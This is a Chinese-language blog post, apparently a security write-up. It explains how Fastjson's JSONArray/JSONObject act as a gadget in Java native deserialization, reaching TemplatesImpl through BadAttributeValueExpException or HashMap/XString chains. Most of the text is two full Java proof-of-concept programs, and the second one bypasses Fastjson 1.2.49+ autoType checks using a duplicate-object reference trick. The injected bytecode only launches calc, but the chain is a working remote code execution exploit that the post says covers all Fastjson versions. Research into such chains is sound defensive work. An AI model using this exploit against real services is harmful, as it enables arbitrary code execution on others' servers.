介绍
除了常见的 Fastjson
在调用自身的 JSON.parseObject()
来反序列化的时候会触发一些 Gadget
导致漏洞,Fastjson
自身其实也会在 jdk
原生反序列化中作为一个 Gadget
来触发漏洞。这就可以绕过高版本 Fastjson
中对 Autotype
的限制。而且这个利用暂时是 Fastjson
全版本通杀的。
分析
既然是与原生反序列化相关,那我们应该在 fastjson
包中看哪些类继承了 Serializable
接口,最后找完只有两个类, JSONArray
和 JSONObject
。
这两个类都继承自 JSON
,而这个类中存在一个 toString()
方法。前面我们在 Fastjson
漏洞总结中提到过,JSON.toString()
可以任意调用任意类的 getter
方法,而有些类的 getter
方法是可以直接触发漏洞的,比如著名的 TemplatesImpl
等等。那现在我们只需要找到 jdk
原生反序列化到 toString()
的链子,就可以连上链子,触发漏洞了。
这里有两个 jdk
原生的链子可以在 readObject()
中任意调 toString()
:
BadAttributeValueExpException.readObject()
-> 任意调 toString()
HashMap.readObject()
-> XString.equals()
(任意调 equals()
)-> 任意调 toString()
。
POC
两者的 poc
如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| package com.just;
import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; import java.util.Hashtable;
public class Demo8 { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static TemplatesImpl getTemplatesImpl() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "RANDOM"); setValue(templates, "_tfactory", null); return templates; }
public static byte[] serialize(Object object) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(object); return baos.toByteArray(); }
public static Object deserialize(byte[] byteArray) throws Exception{ ByteArrayInputStream bais = new ByteArrayInputStream(byteArray); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); }
public static void main(String[] args) throws Exception{
poc2(); }
public static void poc1() throws Exception{ JSONArray array = new JSONArray(); array.add(getTemplatesImpl());
BadAttributeValueExpException exception = new BadAttributeValueExpException(null); setValue(exception, "val", array);
deserialize(serialize(exception)); }
public static void poc2() throws Exception{ JSONArray array = new JSONArray(); array.add(getTemplatesImpl());
XString xString = new XString("111");
HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("yy", array); hashMap1.put("zZ", xString); hashMap2.put("yy", xString); hashMap2.put("zZ", array);
HashMap map = new HashMap(); Field size = map.getClass().getDeclaredField("size"); size.setAccessible(true); size.set(map, 2); Class<?> aClass = Class.forName("java.util.HashMap$Node"); Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass); constructor.setAccessible(true); Object o = Array.newInstance(aClass, 2); Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null)); Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null)); Field table = map.getClass().getDeclaredField("table"); table.setAccessible(true); table.set(map, o);
deserialize(serialize(map)); } }
|
补充完善
但是上面按照直接思路写的 poc
只能用于 fastjson<=1.2.48
或者 fastjson2
,在 fastjson
1.2.49
版本及以后上面的 poc
是用不了的,会报错: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
。这是为什么呢?
从 1.2.49
开始,我们的 JSONArray
以及 JSONObject
方法开始真正有了自己的 readObject
方法。
在对 JSONArray
( JSONObject
)进行反序列化的时候,会通过 Fastjson
自定义的 SecureObjectInputStream
来处理,因此 JSONArray
内部封装了的恶意 TemplatesImpl
对象会被 SecureObjectInputStream#resolveClass()
中的 checkAutoType()
给过滤。
但是这就没办法绕过了吗?
之前在学习jdk7u21和jdk8u20原生反序列化漏洞分析链子的时候提到过,两个相同的对象在同一个反序列化的过程中只会被反序列化一次。那么我们可以在序列化的时候注入两个相同的 TemplatesImpl
对象,第二个 TemplatesImpl
对象被封装到 JSONArray
中。那么在靶机反序列化我们的 payload
时,如果先用正常的 ObjectInputStream
反序列化了第一个 TemplatesImpl
对象,那么在第二次在 JSONArray.readObject()
中,就不会再用 SecureObjectInputStream
来反序列化这个相同的 TemplatesImpl
对象了,就会绕过 checkAutoType()
的检查!
完善后的 poc
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113
| package com.just;
import com.alibaba.fastjson.JSONArray; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap;
public class Demo8 { public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); }
public static TemplatesImpl getTemplatesImpl() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass("a"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody("Runtime.getRuntime().exec(\"calc\");"); clazz.addConstructor(constructor); byte[][] bytes = new byte[][]{clazz.toBytecode()}; TemplatesImpl templates = TemplatesImpl.class.newInstance(); setValue(templates, "_bytecodes", bytes); setValue(templates, "_name", "RANDOM"); setValue(templates, "_tfactory", null); return templates; }
public static byte[] serialize(Object object) throws Exception{ ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(object); return baos.toByteArray(); }
public static Object deserialize(byte[] byteArray) throws Exception{ ByteArrayInputStream bais = new ByteArrayInputStream(byteArray); ObjectInputStream ois = new ObjectInputStream(bais); return ois.readObject(); }
public static void main(String[] args) throws Exception{
poc4(); }
public static void poc3() throws Exception{ TemplatesImpl templates = getTemplatesImpl();
JSONArray array = new JSONArray(); array.add(templates);
BadAttributeValueExpException exception = new BadAttributeValueExpException(null); setValue(exception, "val", array);
HashMap map = new HashMap(); map.put(templates, exception);
deserialize(serialize(map)); }
public static void poc4() throws Exception{ TemplatesImpl templates = getTemplatesImpl();
JSONArray array = new JSONArray(); array.add(templates);
XString xString = new XString("111");
HashMap hashMap1 = new HashMap(); HashMap hashMap2 = new HashMap(); hashMap1.put("yy", array); hashMap1.put("zZ", xString); hashMap2.put("yy", xString); hashMap2.put("zZ", array);
HashMap map = new HashMap(); Field size = map.getClass().getDeclaredField("size"); size.setAccessible(true); size.set(map, 2); Class<?> aClass = Class.forName("java.util.HashMap$Node"); Constructor<?> constructor = aClass.getDeclaredConstructor(int.class, Object.class, Object.class, aClass); constructor.setAccessible(true); Object o = Array.newInstance(aClass, 2); Array.set(o, 0, constructor.newInstance(0, hashMap1, "a", null)); Array.set(o, 1, constructor.newInstance(0, hashMap2, "b", null)); Field table = map.getClass().getDeclaredField("table"); table.setAccessible(true); table.set(map, o);
HashMap obj = new HashMap(); obj.put(templates, map);
deserialize(serialize(obj)); } }
|
至此 fastjson
全版本实现了原生反序列化利用!
参考文章
https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#%E5%89%8D%E8%A8%80
https://y4tacker.github.io/2023/04/26/year/2023/4/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%BA%8C/